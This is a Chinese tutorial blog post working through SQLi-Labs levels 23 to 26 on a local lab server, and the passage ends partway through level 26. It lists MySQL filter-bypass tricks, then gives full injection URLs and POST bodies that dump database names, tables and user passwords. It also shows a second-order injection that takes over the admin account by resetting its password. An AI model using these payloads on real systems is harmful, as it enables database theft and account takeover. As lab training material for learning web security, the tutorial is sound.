天天看點
傳回

SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

文章目錄

        • 1. SqliLab_Mysql_Injection詳解_字元型注入（九)
          • 1.1. SQL注入_過濾繞過
          • 1.2. 繞過姿勢
            • 1.2.1. 開啟GPC**後一些繞過姿勢：
            • 1.2.2. 字元編碼問題導緻繞過：
            • 1.2.3. 編碼解碼導緻的繞過：
            • 1.2.4. 一些特殊情況導緻的繞過：
          • 1.3. 特殊繞過：
            • 1.3.1. 繞過空格過濾：
            • 1.3.2. 繞過union,select,where等關鍵字過濾：
            • 1.3.3. 繞過and、or、xor、not 過濾：
            • 1.3.4. 繞過小括号被過濾:
            • 1.3.5. 引号繞過：
            • 1.3.6. 繞過逗号過濾：
            • 1.3.7. union select 1,2 等同于：union select * from (select 1)a join (select 2)b
            • 1.3.8. select ascii(mid(user(),1,1))=80 ;等同于：select user() like 'r%';
            • 1.3.9. select * from news limit 0,1;等同于：select * from news limit 1 offset 0;
            • 1.3.10. 比較符号（<>）繞過（過濾了<>：sqlmap盲注經常使用<>，使用between的腳本）（between a and b：傳回a，b之間的資料，不包含b）：
            • 1.3.11. '='繞過：
            • 1.3.12. 等價函數繞過：
        • 2. SqliLab關卡包含（23,24,25,25a,26,26a,27,27a,28,28a）（圖檔占據空間太大，payload具體傳回情況均寫在每條payload下的注釋中）
          • 2.1. SqliLab-23（--，#，過濾繞過（單引号閉合））：
            • 2.1.1. 初始界面
            • 2.1.2. 判斷注入點（關鍵步驟）
            • 2.1.3. 猜解字段
            • 2.1.4. 收集資訊
            • 2.1.5. 查詢目前資料庫中存在的表
            • 2.1.6. 查詢’users‘表的字段
            • 2.1.7. 查詢’users‘表的字段值
          • 2.2. SqliLab-24（二次注入）
            • 2.2.1. 二次注入原理
            • 2.2.2. 注入思路
            • 2.2.3. 初始界面
            • 2.2.4. 判斷注入點（關鍵步驟）
          • 2.3. SqliLab-25（and，or，過濾繞過（單引号閉合））
            • 2.3.1. 初始頁面
            • 2.3.2. 判斷注入點（關鍵步驟）
            • 2.3.3. 搜集資料庫資訊
            • 2.3.4. 查詢目前使用的資料庫
            • 2.3.5. 查詢目前資料庫‘security’存在的表
            • 2.3.6. 查詢‘users’表的字段
            • 2.3.7. 查詢‘users’表的字段值資訊
          • 2.4. SqliLab-25a（and，or，過濾繞過（無閉合字元））
            • 2.4.1. 初始頁面
            • 2.4.2. 判斷注入點（關鍵步驟）

          • 2.5. SqliLab-26（and，or，--，#，，雙重空格，回車換行符(%0a,%a0)，寬位元組(%df)，圓括号()，%09，%0a,%0b,%0c,%0d等；

            1.3.2. 繞過union,select,where等關鍵字過濾：

            大小寫，雙寫關鍵字(uniounionn,unionunion)，内聯注釋内聯注釋，編碼；

            1.3.3. 繞過and、or、xor、not 過濾：

            &&，||，%26%26，|，！，大小寫，雙寫關鍵字(anandd,andand)，編碼；

            1.3.4. 繞過小括号被過濾:

            使用正則比對

            EG:

            regexp binary ‘^.*$’;

            或者使用笛卡兒積

            EG:

            union select b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=2;

            1.3.5. 引号繞過：

            （将引号中的值轉換為十六進制）

            EG:

            select column_name from information_schema.tables where table_name=0x7573657273;

            1.3.6. 繞過逗号過濾：

            EG:

            ‘xor(select case when 2>1 then sleep(4) else 0 end limit 0 offset 1)or’

            在使用盲注的時候，需要使用到mid(),substr(),limit函數。這些函數都需要使用到逗号。對于mid()和substr()函數可以使用from to的方式來替換：

            EG:

            select mid(database() from 1 for 1)；

            select substr(database() from 1 for 1)；

            1.3.7. union select 1,2 等同于：union select * from (select 1)a join (select 2)b

            1.3.8. select ascii(mid(user(),1,1))=80 ;等同于：select user() like ‘r%’;

            1.3.9. select * from news limit 0,1;等同于：select * from news limit 1 offset 0;

            1.3.10. 比較符号（<>）繞過（過濾了<>：sqlmap盲注經常使用<>，使用between的腳本）（between a and b：傳回a，b之間的資料，不包含b）：

            EG:

            select * from users where id=1 andascii(substr(database(),0,1))>64；等同于：select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64；

            1.3.11. '='繞過：

            使用like 、rlike 、regexp 或者’<‘或者’>;

            1.3.12. 等價函數繞過：

            EG:

            • hex()、bin() --> ascii()
            • sleep() --> benchmark()
            • concat_ws() --> group_concat()
            • mid()、substr() --> substring()
            • @@user --> user()
            • @@datadir --> datadir()

            • substring()和substr()無法使用時: id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),

              1,1)))=74

              或者：

              substr((select ‘password’),1,1) = 0x70

              strcmp(left(‘password’,1), 0x69) = 1

              strcmp(left(‘password’,1), 0x70) = 0

              strcmp(left(‘password’,49 1), 0x71) = -1

            2. SqliLab關卡包含（23,24,25,25a,26,26a,27,27a,28,28a）（圖檔占據空間太大，payload具體傳回情況均寫在每條payload下的注釋中）

            2.1. SqliLab-23（–，#，過濾繞過（單引号閉合））：
            2.1.1. 初始界面
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            2.1.2. 判斷注入點（關鍵步驟）

            觀察發現是GET型資料傳送，參數為（id），嘗試對其進行注入點判斷（一般閉合字元是從單引号，雙引号開始）；

            EG：

            http://192.168.1.104/sql/Less-23/?id=1' and 1=1 --+
//伺服器傳回頁面錯誤（預期正确），并有非SQL語句錯誤的報錯提示，判斷可能存在過濾，首先考慮是否是（--）被過濾，嘗試用（#）替換構造；
http://192.168.1.104/sql/Less-23/?id=1' and 1=1 #
//伺服器傳回頁面錯誤（預期正确），并有非SQL語句錯誤的報錯提示，判斷可能存在過濾，考慮是否是（#）被過濾，嘗試用（and '1'='1閉合語句）替換構造；
http://192.168.1.104/sql/Less-23/?id=1' and 1=1 and '1'='1
//伺服器傳回頁面正确（預期正确），嘗試使用（and 1=2）進行構造；
http://192.168.1.104/sql/Less-23/?id=1' and 1=2 and '1'='1
//伺服器傳回頁面錯誤（預期錯誤），判斷參數（id）存在注入，閉合字元為（'）,并存在對（#，--）的過濾；
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            經過對注入點判斷後，得知參數（id）存在注入，閉合字元為（’）,并存在對（#，–）的過濾，且由于在伺服器傳回的界面，可以檢視到回顯資訊和存在SQL語句報錯提示，可以嘗試使用UNION聯合查詢和報錯注入的方式擷取資料庫資訊（這裡使用UNION查詢的方式）；

            2.1.3. 猜解字段

            使用order by 構造連結；

            EG：

            http://192.168.1.104/sql/Less-23/?id=1'  order by 1,2,3,4,5 and '1'='1 
//伺服器頁面傳回錯誤，查詢到字段數為（3）；

            查詢到字段數為（4）；

            2.1.4. 收集資訊

            由于在伺服器傳回的界面，可以檢視到回顯資訊，是以先使正确的查詢語句查詢失敗，再使用union select，version(),database()函數構造語句，使伺服器傳回的界面顯示要收集的資訊（還有諸多收集資訊的函數，這裡就不在贅述）；

            EG：

            http://192.168.1.104/sql/Less-23/?id=1' and 1=2 union select 1,database(),2 and '1'='1
//伺服器頁面傳回錯誤,報錯提示顯示出目前使用的資料庫名為（security）；
...

            2.1.5. 查詢目前資料庫中存在的表

            使用union select，group_concat()函數來構造語句;

            EG：

            http://192.168.1.104/sql/Less-23/?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() and '1'='1
//查詢到‘database()’資料庫存在的表有（emails,referers,uagents,users）；

            2.1.6. 查詢’users‘表的字段

            使用union select，group_concat()函數來構造語句；

            EG：

            http://192.168.1.104/sql/Less-23/?id=1' and 1=2 union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' and '1'='1
//查詢到’users‘表的字段為(id,username,password)；

            2.1.7. 查詢’users‘表的字段值

            使用union select，group_concat()函數來構造語句；

            EG：

            http://192.168.1.104/sql/Less-23/?id=1' and 1=2 union select 1,2,group_concat('%7c',username,'%7c',password,'%7c') from users where id=2 and '1'='1
//查詢表‘users’中的字段值資訊（要使用where限制查詢的條件（mysql_fetch_array() 函數隻能是一對一條件進行比較，不能進行一對多進行比較），如果直接查詢所有會出現報錯提示，但是如果直接使用報錯注入的方式就不會出現這種情況）；
            到此，SQL注入基礎流程差不多就結束了，所需要的資訊（資料庫資訊，表字段值等）差不多都已經搜集到了，SqliLab-23結束；
            2.2. SqliLab-24（二次注入）

            2.2.1. 二次注入原理

            二次注入是存儲型注入，是将可以導緻SQL注入的字元串先存入資料庫中，當再次調用這個惡意構造的字元時，觸發SQL注入；

            2.2.2. 注入思路

            • 通過構造資料的形式，在浏覽器或其他軟體中送出HTTP資料封包請求到服務端進行處理，送出的資料封包請求中可能包含構造的惡意SQL語句或指令；
            • 服務端将送出的請求資訊進行存儲，通常是儲存在資料庫中；
            • 向服務端發送第二個與第一個不相同的請求資料資訊；
            • 服務端在接收到請求的資訊後，為了處理該請求，調用存儲的包含了構造的惡意資訊的資料，進而觸發SQL注入漏洞；
            2.2.3. 初始界面
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            2.2.4. 判斷注入點（關鍵步驟）

            觀察發現是POST型資料傳送，且通過浏覽器的開發者調試檢視頁面标簽元素，發現POST傳送參數為login_user和login_password），嘗試對兩個參數進行注入點判斷（一般閉合字元是從單引号，雙引号開始）；

            EG：

            login_user=a' or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（'）代替（）進行構造；
login_user=a' or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（"）代替（'）進行構造；
login_user=a" or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（)）代替（"）進行構造；
login_user=a) or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（]）代替（)）進行構造；
login_user=a] or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（}）代替（]）進行構造；
login_user=a} or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（''）代替（}）進行構造；
login_user=a'' or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（'"）代替（''）進行構造；
login_user=a'" or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（')）代替（'"）進行構造；
login_user=a') or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（']）代替（')）進行構造；
login_user=a'] or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（'}）代替（')）進行構造；
login_user=a'} or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（"'）代替（'}）進行構造；
login_user=a"' or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（""）代替（"'）進行構造；
login_user=a"" or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（")）代替（""）進行構造；
login_user=a") or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（")）代替（""）進行構造；
login_user=a") or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（"]）代替（")）進行構造；
login_user=a"] or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（"}）代替（"]）進行構造；
login_user=a"} or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（)'）代替（"}）進行構造；
login_user=a)' or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（)"）代替（)'）進行構造；
login_user=a)" or 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（))）代替（)"）進行構造；
login_user=a)) or 1=1 %23&login_password=1&mysubmit=Login
...
//發現無論構造怎樣的閉合字元的payload，伺服器傳回頁面都不發生改變，嘗試用admin進行測試，是否存在盲注；
login_user=admin and 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（'）代替（）進行構造；
login_user=admin' and 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（"）代替（'）進行構造；
login_user=admin" and 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（)）代替（"）進行構造；
login_user=admin) and i1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（''）代替（)）進行構造；
login_user=admin'' and 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（'"）代替（''）進行構造；
login_user=admin'" and 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（')）代替（'"）進行構造；
login_user=admin') and 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（"'）代替（')）進行構造；
login_user=admin"' and 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（""）代替（"'）進行構造；
login_user=admin"" and 1=1 %23&login_password=1&mysubmit=Login
//伺服器傳回頁面錯誤（預期正确），嘗試用（")）代替（""）進行構造；
login_user=admin") and 1=1 %23&login_password=1&mysubmit=Login
...
//經過嘗試發現（寬位元組繞過，特殊字元過濾繞過等），參數（login_user）不存在注入,嘗試對參數（login_password）進行測試；
login_user=admin&login_password='&mysubmit=Login
//伺服器傳回頁面錯誤，嘗試（"）代替（'）進行構造；
login_user=admin&login_password="&mysubmit=Login
//伺服器傳回頁面錯誤，嘗試（)）代替（"）進行構造；
login_user=admin&login_password=)&mysubmit=Login
//伺服器傳回頁面錯誤，嘗試（}）代替（)）進行構造；
login_user=admin&login_password=}&mysubmit=Login
//伺服器傳回頁面錯誤，嘗試（]）代替（}）進行構造；
login_user=admin&login_password=]&mysubmit=Login
//伺服器傳回頁面錯誤，嘗試（''）代替（]）進行構造；
login_user=admin&login_password=''&mysubmit=Login
//伺服器傳回頁面錯誤，嘗試（'"）代替（''）進行構造；
...
//發現無論構造怎樣的閉合字元的payload，伺服器傳回頁面都不發生改變（登入失敗），考慮是否存在HTTP頭注入，使用正确的login_user和login_password進行嘗試(admin為假想已知測試使用者)
//伺服器傳回頁面發現，隻有一個更改密碼和下線的選項，嘗試初始頁面的建立新使用者選項；
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            考慮通過建立新使用者要執行的SQL語句（insert into table（name,passwd）values(‘name’,‘passwd’)）,将注入語句（報錯）放入注冊的（uname）中，等建立該使用者成功後（含有payload的login_user已經存儲在資料庫中），然後再登入該使用者，然後再通過登入使用者時，背景會執行查詢SQL語句（select login_user and passwd from table where login_user= ’ ’ and passwd = ’ '）,進而執行payload;

            EG：

            username=test' and updatexml(1,concat(0x7c,database(),0x7c),1) and '1'='1&password=123&re_password=123&submit=Register
//伺服器傳回頁面正确，建立使用者成功；
login_user=test' and updatexml(1,concat(0x7c,database(),0x7c),1) and '1'='1&login_password=123&mysubmit=Login
//伺服器傳回頁面錯誤，登入失敗，再次嘗試建立使用者（'updatexml(1,concat(0x23,database()),1) and '1'='1）；
username='updatexml(1,concat(0x23,database()),1) and '1'='1&password=123&re_password=123&submit=Register
//伺服器傳回頁面正确，建立使用者成功；
login_user=test' and updatexml(1,concat(0x7c,database(),0x7c),1) and '1'='1&login_password=123&mysubmit=Login
//伺服器傳回頁面錯誤，登入失敗，再次嘗試建立使用者的密碼為（'updatexml(1,concat(0x23,database()),1) and '1'='1）；
username=test&password=123&re_password='updatexml(1,concat(0x23,database()),1) and '1'='1&submit=Register
//伺服器傳回頁面正确，建立使用者成功；
login_user=test&login_password='updatexml(1,concat(0x23,database()),1) and '1'='1&mysubmit=Login
//伺服器傳回頁面錯誤，登入失敗,考慮背景可能限制了建立的使用者的使用者名和密碼的長度，在實際資料庫中檢視，果然發現，背景對建立使用者時對使用者輸入的使用者名和密碼進行了字元長度的限制；
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            經過測試，發現，背景對建立使用者的輸入的使用者名和密碼進行了限制，考慮使用字元閉合截斷法，直接注冊與管理者（假想賬戶名為admin）相似的使用者（admin’#），并更改該建立使用者的密碼(123)，使背景在執行SQL語句（update table set password=‘123’ where login_user=‘admin’#）,進而達到修改管理者賬戶的密碼的目的。

            EG：

            username=admin'#&password=123&re_password=123&submit=Register
//伺服器傳回頁面正确，建立使用者成功；
login_user=admin%27%23&login_password=123&mysubmit=Login
//伺服器傳回頁面正确，登入成功，嘗試修改建立使用者（admin'#）的密碼為（123）,由于SQL語句執行時admin'#後面被注釋掉，原有admin的密碼可以随便輸入,隻要更改的密碼知道就行了；
current_password=test&password=123&re_password=123&submit=Reset
//伺服器傳回頁面正确，更改密碼成功，檢視使用管理者使用者（admin）和更改的密碼（123）登入；
login_user=admin&login_password=123&mysubmit=Login
//伺服器傳回頁面正确，成功登入管理者賬戶；
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）
            雖然上面這種方式無法注入足夠長的SQL語句，但是直接修改管理者的密碼（知道管理者的賬戶，且後天對建立使用者時使用者輸入的特殊字元沒有過濾），一步到位，而且這種注入也是sqlmap探測不出來的，因為sqlmap在注冊時的username也是通過插入SQL語句測試，當資料庫限定了注冊的使用者名的長度，就會造成插入的語句不完整，是以sqlmap會判定不存在SQL注入，是以需要手工去探測，至此，SqliLab-24結束；
            2.3. SqliLab-25（and，or，過濾繞過（單引号閉合））
            2.3.1. 初始頁面
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            2.3.2. 判斷注入點（關鍵步驟）

            觀察發現是GET型資料傳送，參數為（id），并發現，初始頁面顯示，可能（or和and）都不能使用，但是判斷注入點時可以去嘗試一下；

            EG：

            http://192.168.1.104/sql/Less-25/?id=1' and 1=1 --+
//伺服器傳回頁面錯誤（預期正确），且發現有SQL語句報錯提示（'1=1-- ' LIMIT 0,1'）說明參數（id）的閉合字元是（'）,但是傳回了錯誤，則（and）可能被過濾了,嘗試使用雙寫（anandd）繞過;
http://192.168.1.104/sql/Less-25/?id=1' anandd 1=1 --+
//伺服器傳回頁面正确（預期正确），嘗試使用（1=2）構造；
http://192.168.1.104/sql/Less-25/?id=1' anandd 1=2 --+
//伺服器傳回頁面錯誤（預期錯誤），判斷參數（id）存在注入，閉合字元為（'），過濾了（and）;嘗試是否過濾（or）;
http://192.168.1.104/sql/Less-25/?id=1' or 1=2 --+
//伺服器傳回頁面錯誤（預期正确），則（or）可能被過濾了，嘗試使用雙寫（oorr）繞過；
http://192.168.1.104/sql/Less-25/?id=1' oorr 1=2 --+
//伺服器傳回頁面正确（預期正确），嘗試使用（-1' or 1=2）構造；
http://192.168.1.104/sql/Less-25/?id=-1' oorr 1=2 --+
//伺服器傳回頁面錯誤（預期錯誤），判斷過濾了（or）;
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            經過對參數（id）的注入點測試，發現存在注入點，閉合字元為（’），同時過濾了（and）,(or)，這裡采用雙寫的方式繞過（anand,oorr），同時伺服器頁面存在回顯和報錯提示，可以使用UNION聯合查詢和報錯注入的方式擷取資訊（這裡采用報錯注入的方式擷取資料庫資訊（sqliLab-23采用的UNION查詢法）；

            2.3.3. 搜集資料庫資訊

            EG：

            使用updatexml()函數/extractvalue()函數/使用floor()函數和concat()函數構造payload；

            http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c),1) --+
//伺服器傳回頁面錯誤，但檢視到頁面顯示了目前資料庫名為（security），資料庫版本為（5.5.53）；
...

            2.3.4. 查詢目前使用的資料庫

            EG：

            使用updatexml()函數/extractvalue()函數/使用floor()函數,group_concat()函數/concat()函數和mid()函數/limit限制構造payload；

            http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x7c),1,32),1)  --+
//伺服器傳回頁面錯誤，但檢視到報錯資訊顯示了目前使用mysql中使用的資料庫有哪些資料庫，mid()函數來截取傳回的較長字元串；
...

            2.3.5. 查詢目前資料庫‘security’存在的表

            EG：

            使用updatexml()函數/extractvalue()函數/使用floor()函數,group_concat()函數/concat()函數構造payload；

            http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,concat(0x7c,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7c),1) --+
//伺服器傳回頁面錯誤，但檢視到報錯資訊顯示了目前使用資料庫中存在的表有（emails,referers,uagents,users）;

            2.3.6. 查詢‘users’表的字段

            EG：

            使用updatexml()函數/extractvalue()函數/使用floor()函數,group_concat()函數/concat()函數和mid()函數/limit限制構造payload；

            http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,concat(0x7c,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),0x7c),1)  --+
//伺服器傳回頁面錯誤，但檢視到報錯資訊顯示了‘users’表的字段為（id,username,password）

            2.3.7. 查詢‘users’表的字段值資訊

            EG：

            使用updatexml()函數/extractvalue()函數/使用floor()函數,group_concat()函數/concat()函數和mid()函數/limit限制構造payload；

            http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,passwoorrd,0x7c) from users),0x7e),1,32),1) --+
//伺服器傳回頁面錯誤，但檢視到報錯資訊顯示了‘users’表的字段值資訊為（|1|Dumb|Dumb|,2|Angelina|I-kill-。。。）;
            查詢其他的值也是同上面的方法一緻；到此，SQL注入（報錯注入）基礎流程差不多就結束了，所需要的資訊（資料庫資訊，表字段值等）差不多都已經搜集到了，SqliLab-25結束；
            2.4. SqliLab-25a（and，or，過濾繞過（無閉合字元））
            2.4.1. 初始頁面
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            2.4.2. 判斷注入點（關鍵步驟）

            觀察發現是GET型資料傳送，參數為（id），并發現，初始頁面顯示，可能（or和and）都不能使用，但是判斷注入點時可以去嘗試一下；

            EG：

            http://192.168.1.104/sql/Less-25a/?id=1 and 1=1 --+
//伺服器傳回頁面錯誤（預期正确），嘗試使用anandd構造；
http://192.168.1.104/sql/Less-25a/?id=1 anandd 1=1 --+
//伺服器傳回頁面正确（預期正确），嘗試使用（1=2）構造；
http://192.168.1.104/sql/Less-25a/?id=1 anandd 1=2 --+
//伺服器傳回頁面錯誤（預期錯誤），判斷參數（id）存在注入，閉合字元為（），過濾了（and）;嘗試是否過濾（or）;
http://192.168.1.104/sql/Less-25a/?id=1 or 1=2 --+
//伺服器傳回頁面錯誤（預期正确），則（or）可能被過濾了，嘗試使用雙寫（oorr）繞過；
http://192.168.1.104/sql/Less-25a/?id=1 oorr 1=2 --+
//伺服器傳回頁面正确（預期正确），嘗試使用（-1' or 1=2）構造；
http://192.168.1.104/sql/Less-25a/?id=-1 oorr 1=2 --+
//伺服器傳回頁面錯誤（預期錯誤），判斷過濾了（or）；

            判斷是否存在SQL語句報錯提示

            EG：

            http://192.168.1.104/sql/Less-25a/?id=1' anandd 1=1 --+
//伺服器傳回頁面無報錯提示，嘗試（"）代替（'）構造；
http://192.168.1.104/sql/Less-25a/?id=1' anandd 1=1 --+
//伺服器傳回頁面無報錯提示，嘗試（)）代替（"）構造；
http://192.168.1.104/sql/Less-25a/?id=1) anandd 1=1 --+
//伺服器傳回頁面無報錯提示，嘗試（@$%^）代替（)）構造；
http://192.168.1.104/sql/Less-25a/?id=1@$%^ anandd 1=1 --+
//伺服器傳回頁面無報錯提示，嘗試（&&!）代替（@$%^）構造；
...
//經過嘗試發現，伺服器傳回頁面不存在報錯提示；
            經過對參數（id）的注入點測試，發現存在注入點，閉合字元為（），同時過濾了（and）,(or)，這裡采用雙寫的方式繞過（anand,oorr），同時伺服器頁面存在回顯，可以使用UNION聯合查詢的方式擷取資訊，具體流程同sqliLab-23采用的UNION查詢法一樣，SqliLab-25a結束；
            2.5. SqliLab-26（and，or，–，#，/*，/，空格，過濾繞過（單引号閉合））
            2.5.1. 初始頁面
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            2.5.2. 判斷注入點（關鍵步驟）

            觀察發現是GET型資料傳送，參數為（id），并發現，初始頁面顯示，可能（空格和注釋）都不能使用，但是判斷注入點時可以去嘗試一下；

            EG：

            http://192.168.1.104/sql/Less-26/?id=1 and 1=1 --+
//伺服器傳回頁面正确（預期正确），但是同時發現頁面顯示了輸入的的結果為（11=1），即輸入的空格和and以及（--）“消失”了，嘗試使用anandd構造；
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 --+
//伺服器傳回頁面正确（預期正确），輸入的and出現,判斷（and）被過濾，判斷（or）是否被過濾；
http://192.168.1.104/sql/Less-26/?id=1 or 1=2 --+
//伺服器傳回頁面正确（預期正确），但是同時發現頁面顯示了輸入的的結果為（11=2）,即輸入的空格和or以及（--）“消失”了，嘗試使用oorr構造；
http://192.168.1.104/sql/Less-26/?id=1 oorr 1=2 --+
//伺服器傳回頁面正确（預期正确），輸入的or出現,判斷（or）被過濾，但是注釋符消失，嘗試（#，%23,/*）；
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 #
//伺服器傳回頁面正确（預期正确），但輸入的注釋符沒有出現；
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 %23
//伺服器傳回頁面正确（預期正确），但輸入的注釋符沒有出現；
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 /*
//伺服器傳回頁面正确（預期正确），但輸入的注釋符沒有出現，嘗試使用and 1=1閉合；
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 anandd 1=1 
//伺服器傳回頁面正确（預期正确），輸入的注釋符出現；但是空格消失，嘗試（+）；
http://192.168.1.104/sql/Less-26/?id=1+anandd+1=1+anandd+1=1 
//伺服器傳回頁面正确（預期正确），但輸入的空格沒有出現，嘗試使用（/\*\*/）；
http://192.168.1.104/sql/Less-26/?id=1/\*\*/anandd/\*\*/1=1/\*\*/anandd/\*\*/1=1
//伺服器傳回頁面正确（預期正确），但輸入的空格沒有出現，嘗試使用（%09）；
http://192.168.1.104/sql/Less-26/?id=1%09anandd%091=1%09anandd%091=1 
//伺服器傳回頁面正确（預期正确），但輸入的空格沒有出現，嘗試使用（%0a）；
http://192.168.1.104/sql/Less-26/?id=1%0aanandd%0a1=1%0aanandd%0a1=1 
//伺服器傳回頁面正确（預期正确），但輸入的空格沒有出現，嘗試使用（%0b）；
http://192.168.1.104/sql/Less-26/?id=1%0banandd%0b1=1%0banandd%0b1=1 
//伺服器傳回頁面正确（預期正确），但輸入的空格沒有出現，嘗試使用（%0c）；
http://192.168.1.104/sql/Less-26/?id=1%0canandd%0c1=1%0canandd%0c1=1 
//伺服器傳回頁面正确（預期正确），但輸入的空格沒有出現，嘗試使用（%0d）；
http://192.168.1.104/sql/Less-26/?id=1%0danandd%0d1=1%0danandd%0d1=1 
//伺服器傳回頁面正确（預期正确），但輸入的空格沒有出現，嘗試使用（%df）；
http://192.168.1.104/sql/Less-26/?id=1%dfanandd%df1=1%dfanandd%df1=1 
//伺服器傳回頁面正确（預期正确），但輸入的空格沒有出現，嘗試使用（%a0）；
http://192.168.1.104/sql/Less-26/?id=1%a0anandd%a01=1%a0anandd%a01=1 
//伺服器傳回頁面正确（預期正确），輸入的空格出現,嘗試使用（1=2）構造；
http://192.168.1.104/sql/Less-26/?id=1%a0anandd%a01=2%a0anandd%a01=1 
//伺服器傳回頁面正确（預期錯誤），嘗試使用（'）代替（）進行構造；
http://192.168.1.104/sql/Less-26/?id=1'%a0anandd%a01=1%a0anandd%a0'1'='1 
//伺服器傳回頁面正确（預期正确），嘗試使用（1=2）構造；
http://192.168.1.104/sql/Less-26/?id=1'%a0anandd%a01=2%a0anandd%a0'1'='1 
//伺服器傳回頁面錯誤（預期錯誤），判斷參數（id）存在注入，閉合字元為（'）,且背景過濾了（and,or,--,#,/*,/,空格）；
//也可以嘗試使用圓括号繞過空格過濾；
http://192.168.1.104/sql/Less-26/?id=1'anandd(1=1)anandd'1'='1
//伺服器傳回頁面正确（預期正确），嘗試使用（1=2）構造；
http://192.168.1.104/sql/Less-26/?id=1'anandd(1=2)anandd'1'='1
//伺服器傳回頁面錯誤（預期錯誤），判斷參數（id）存在注入，閉合字元為（'）；
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            EG：

            判斷是否存在SQL語句報錯提示

            http://192.168.1.104/sql/Less-26/?id=1'"'%a0anandd%a01=1%a0anandd%a0'1'='1
//伺服器傳回頁面錯誤（預期錯誤），且存在報錯提示；
